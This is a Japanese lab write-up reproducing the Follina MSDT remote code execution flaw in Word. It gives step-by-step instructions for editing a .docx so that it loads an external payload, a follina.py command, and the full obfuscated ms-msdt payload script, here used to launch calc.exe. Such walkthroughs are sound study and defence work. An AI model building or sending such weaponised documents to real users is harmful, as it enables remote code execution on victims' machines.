
aka Follina
Follinaは、Microsoft サポート診断ツール(Microsoft Support Diagnostic Tool、MSDT)に存在する脆弱性です。アプリケーションがURLプロトコルを介してMSDTを呼び出してサポートを実行すると、リモートコード実行の脆弱性が発生します。悪用に成功すると、攻撃者は実行中のアプリケーションの権限に基づいて任意のコードを実行できます。
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 Word文書(.docx)を作成し、文書内にOLEオブジェクト(例:Bitmap Image)を挿入します。
Step2 .docxファイルを解凍し、フォルダ内の word/_rels/document.xml.rels ファイルを編集して、下図の黄色部分の Target="embeddings/oleObject1.bin" を
Target = "http://<payload_server>/<random_name>.html!" に変更し、属性値 TargetMode = "External" を追加します。

Step3 フォルダ内の word/document.xml ファイルを編集して、下図の黄色部分の Type="Embed" を Type="Link" に変更し、属性値 UpdateMode="OnCall" を追加します。

Step4 7-zip を使用して .docx ファイルを開き(解凍せずに)、上記の2つのファイルを .docx ファイルに投入して、悪意のあるドキュメントの作成を完了します。
John Hammondが公開したFollina.pyをダウンロードします。ここではまず基本的な電卓の呼び出しを例にします。
python3 follina.py -c calc.exe -i eth0
Follina.py の line 117 - 125 は主に悪意のあるペイロード(.html)を作成する部分です。内容は以下の通りです。<script>location.href... は被害者のホスト上で電卓を実行するスクリプトです。ファイル全体には大量のランダムな文字が埋め込まれ、ファイルを最低 4096 バイトまで埋めることを目的としています。理由は“Follina” MSDT Attackを参照してください。
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script